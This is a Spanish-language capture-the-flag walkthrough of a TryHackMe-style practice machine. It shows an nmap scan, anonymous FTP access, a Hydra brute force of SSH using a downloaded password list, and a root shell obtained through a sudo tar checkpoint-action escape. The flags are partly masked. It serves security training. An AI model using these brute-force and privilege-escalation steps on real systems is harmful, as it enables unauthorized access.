View the Project on GitHub MarcusRojasPacheco/CIBERSEGUIRDAD_22-23
Creamos un directorio llamado cowboyhacker y nos meteremos a el.
mkdir cowboyhacker
cd $_
Una Vez dentro de la carpeta podemos realizar la actividad.
Ahora vamos ver los puertos que tiene la maquina para ello vamos a usar el siguiente comando de nmap para poder hacer el escaneo de puerto necesario.
nmap -sC -sV -p- -oN -min-rate=5000 Puertos.txt <IP_OBJETIVO>
SALIDA DEL COMANDO
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.40.26
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dcf8dfa7a6006d18b0702ba5aaa6143e (RSA)
| 256 ecc0f2d91e6f487d389ae3bb08c40cc9 (ECDSA)
|_ 256 a41a15a5d4b1cf8f16503a7dd0d813c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
CAPTURA DEL RESULTADO EN LA TERMINAL
Con este resultado que vemos que existe un FTP en el cual se puede ver existe una entrada con anonymous y un servicio SSH en el cual se podria entra si existiera un usuario.
Tambien vemos el servicio HTTP pero no nos sirve de nada.
Ahora vamos a entrar dentro del servicio FTP, con lo cual vamos a poner el siguiente comando para poder entrar en el.
Con lo que vamos entrar con el usuario anonymous que tiene FTP por defecto.
ftp <IP_OBJETIVO>
SALIDA DEL COMANDO
Connected to 10.10.18.227.
220 (vsFTPd 3.0.3)
Name (10.10.18.227:sunamy): anonymous
230 Login successful.
Ahora dentro del FTP vamos a poner el comando ls con lo se vera si existe unos fichero dentro de el.
SALIDA DEL COMANDO
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
Ahora vamos a descargar los ficheros del FTP con lo cual usamos el comando GET para poder descargarlo.
SALIDA DEL COMANDO
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |*******************************| 418 672.49 KiB/s 00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (7.04 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |*******************************| 68 484.71 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.20 KiB/s)
Se observa en el fichero task.txt
Tras ver el usuario se puede ver que puerto se puede atacar.
Tras observar el puerto en el cual podemos atacar vamos a usar HYDRA con los siguiente parametros.
hydra -l <USUARIO> -P <LIBRERIA-CONTRASEÑA> <IP-OBJETIVO> <PUERTO>
Como se ha observado anteriormente nos hemos descargado un archivo que se llama locks.txt que en realidad es un diccionario de las contraseña que se va usar para saber que contraseña tiene el usuario del puerto atacado.
SALIDA DEL COMANDO
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-01-10 13:12:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ###://10.10.18.227:22/
[22][###] host: 10.10.18.227 login: ##n password: ###ed#####gon######at##
1 of 1 target successfully completed, 1 valid password found
Contraseña dada por Hydra.
Una vez dentro del usuario vamos a poner el comando ls con lo cual vemos el primer fichero que contiene la primera bandera.
##n@bountyhacker:~/Desktop$ ls
user.txt
##n@bountyhacker:~/Desktop$ cat user.txt
THM{#####3_S####d1####3}
THM{#####3_S####d1####3}
Ahora vamos a escalar de privilegios con lo cual tenemos que ver que aplicaciones tiene el usuario con lo cual se ejecuta como root, para ello ponemos el comando sudo -l con lo cual nos dice que tiene el usuario con privilegios de root.
Matching Defaults entries for lin on bountyhacker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lin may run the following commands on bountyhacker:
(root) /bin/tar
Como vemos tiene como privilegios de root la aplicación de tar con lo cual vamos a la pagina GTFOBINS, con lo cual nos va decir como podemos entrar como root con el programa tar.
SALIDA DEL COMANDO
##n@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# cd /
# ls
bin dev initrd.img lib64 mnt root snap tmp vmlinuz
boot etc initrd.img.old lost+found opt run srv usr vmlinuz.old
cdrom home lib media proc sbin sys var
Ahora vamos a la carpeta de root en el cual tiene la ultima bandera, con lo cual vamos usar el comando ls, para leer el fichero que tiene en el.
# cd root
# ls
root.txt
# cat root.txt
THM{80########3r}
THM{80########3r}
Y Con todo los pasos realizado hemos ya hemos terminado la maquina.